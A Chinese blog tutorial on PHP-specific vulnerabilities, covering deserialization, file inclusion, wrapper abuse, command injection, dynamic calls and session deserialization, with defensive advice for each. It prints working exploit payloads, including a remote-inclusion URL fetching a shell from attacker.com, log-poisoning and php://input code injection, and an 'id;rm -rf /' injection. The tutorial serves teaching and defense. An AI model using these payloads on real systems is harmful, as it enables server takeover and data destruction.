当前位置: 首页 > news >正文

PHP特有的安全漏洞及渗透测试利用方法(通俗易懂)

任何编程语言和软件项目,都会存在安全漏洞,只有漏洞利用成本的高低!

本文章仅提供学习,切勿将其用于不法手段!


一、反序列化漏洞(最常见也最危险)​

原理​:
PHP对象序列化后是二进制数据,反序列化时如果数据被篡改,可能执行恶意代码。就像你拆快递时,包裹里被塞了炸弹,一拆就炸。

渗透测试利用方法​:

  1. 生成恶意对象​:用PHP代码构造一个包含危险函数的对象(如system())。
    class Evil {public function __destruct() {system('calc.exe'); // 弹计算器}
    }
    $payload = serialize(new Evil());
  2. 构造请求​:将生成的payload作为参数传入目标程序的反序列化接口。
    curl http://target.com/?data=O:4:"Evil":0:{}
  3. 触发漏洞​:目标程序反序列化时,会直接执行calc.exe

防御​:

  • 升级PHP到最新版本(修复部分反序列化漏洞)。
  • 避免反序列化用户输入的数据,改用JSON等安全格式。
  • 在反序列化时检查类名白名单。

二、文件包含漏洞(LFI/RFI)​

原理​:
PHP的include()require()等函数如果未过滤用户输入,攻击者可以指定任意文件路径,甚至读取服务器敏感文件或执行远程代码。

渗透测试利用方法​:

  1. 本地文件包含(LFI)​​:

    • 读取配置文件:
      // 构造URL
      http://example.com/?file=php://filter/read=convert.base64-encode/resource=config.php
    • 日志文件注入:在日志中写入PHP代码,再包含日志文件执行。
      # 在请求头注入代码
      User-Agent: <?php system('id'); ?>
      然后访问日志文件路径触发执行。
  2. 远程文件包含(RFI)​​:

    // 构造URL
    http://example.com/?file=http://attacker.com/shell.txt

    需要服务器开启allow_url_include=On

防御​:

  • 关闭allow_url_includeallow_url_fopen
  • 设置open_basedir限制文件访问范围。
  • 对用户输入的文件名进行白名单校验。

三、PHP伪协议攻击

原理​:
PHP内置的伪协议(如php://inputdata://)允许直接处理输入流或内联代码,攻击者可利用其绕过过滤规则。

渗透测试利用方法​:

  1. php://input​:
    通过POST请求体直接注入PHP代码:

    POST /vuln.php?url=php://input HTTP/1.1
    Content-Type: application/x-www-form-urlencoded<?php system('whoami'); ?>

    需服务器开启allow_url_include=On

  2. data://​​:
    直接嵌入Base64编码的代码:

    http://example.com/?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

    解码后执行phpinfo()

防御​:

  • 禁用危险伪协议(如php://data://)。
  • 对输入内容进行严格过滤和转义。

四、命令注入漏洞

原理​:
PHP调用系统命令的函数(如system()exec())未过滤用户输入,导致拼接恶意命令。

渗透测试利用方法​:

// 漏洞代码
$user_input = $_GET['cmd'];
system("ping " . $user_input);

构造恶意输入:

http://example.com/?cmd=id;rm -rf /

执行id后继续执行删除命令。

防御​:

  • 使用escapeshellarg()转义参数。
  • 避免直接拼接用户输入到命令中,改用白名单校验。

五、动态函数调用漏洞

原理​:
PHP允许通过变量动态调用函数,如果变量可控,攻击者可指定危险函数。

渗透测试利用方法​:

// 漏洞代码
$func = $_GET['func'];
$func($_GET['arg']);

构造Payload:

http://example.com/?func=system&arg=id

触发执行system('id')

防御​:

  • 禁用危险函数(如systemeval)。
  • 对动态调用的函数名进行白名单限制。

六、Session反序列化漏洞

原理​:
PHP的Session数据默认序列化存储,如果攻击者能篡改Session文件,可触发恶意代码。

渗透测试利用方法​:

  1. 生成恶意Session数据:
    session_start();
    $_SESSION['evil'] = new EvilClass();
    session_write_close();
  2. 替换目标服务器的Session文件,触发__destruct()中的恶意操作。

防御​:

  • 设置session.save_path为不可写目录。
  • 对Session数据进行签名验证。

总结:PHP漏洞的“防身三招”

  1. 输入过滤​:所有用户输入必须白名单校验,过滤特殊字符(如../php://)。
  2. 关闭危险配置​:
    allow_url_include = Off
    allow_url_fopen = Off
    disable_functions = "eval,system,exec"
  3. 代码审计​:重点检查unserialize()include()等高风险函数的使用。

一句话口诀​:

输入要过滤,伪协议要小心,函数别乱调,日志勤检查!

注​:所有技术研究需遵循《网络安全法》及《数据安全法》相关规定,践行合法合规的网络安全技术探索

提示:最有效的防御办法,是让攻击者由于攻击成本过高,而主动放弃针对目标进行攻击!

没有攻不破的城墙,只有 由于 付出成本 远超于 收获价值 而 选择 主动放弃 攻击行为 的 敌人 !

http://www.dtcms.com/a/340884.html

相关文章:

  • 项目1总结其一
  • 49 C++ STL模板库18-类模板-pair
  • ROS 2系统Callback Group概念笔记
  • 突发!DeepSeek刚刚开源V3.1-Base
  • UTF-8 编解码可视化分析
  • 【Day 30】Linux-SQL语句
  • C/C++ 与嵌入式岗位常见笔试题详解
  • MYSQL为什么会发生死锁,怎么解决
  • 第三阶段数据-3:数据库脚本生成,备份与还原,分离与附加
  • configtx通道配置文件
  • RHCA08内存管理
  • 对称加密算法
  • 数据库DML语言(增、删、改)
  • 闪电赋能全链路:领码SPARK一体化创新平台
  • 基于HTTP3的WebTransport实践
  • 基于 Java 和 MySQL 的精品课程网站
  • 在完全没有无线网络(Wi-Fi)和移动网络(蜂窝数据)的环境下,使用安卓平板,通过USB数据线(而不是Wi-Fi)来控制电脑(版本2)
  • Ubuntu 重连usb设备(断电和不断电方案)亲测可行
  • 亚马逊新品爆单策略:从传统困境到智能突破
  • LeetCode热题100--101. 对称二叉树--简单
  • C++ 力扣 438.找到字符串中所有字母异位词 题解 优选算法 滑动窗口 每日一题
  • 《数据之舞》
  • GitHub宕机生存指南:从应急协作到高可用架构设计
  • QT-图像灰度处理时QImage.setPixel方法存在的坑
  • 在QT中动态生成控件造成界面卡顿时的鼠标处理
  • Qt设置软件使用期限【新版防修改系统时间】
  • 一个 WPF 文档和工具窗口布局容器
  • GitHub宕机应急指南:无缝协作方案
  • Eclipse 里Mybatis的xml的头部报错
  • 软考高级--系统架构设计师--案例分析真题解析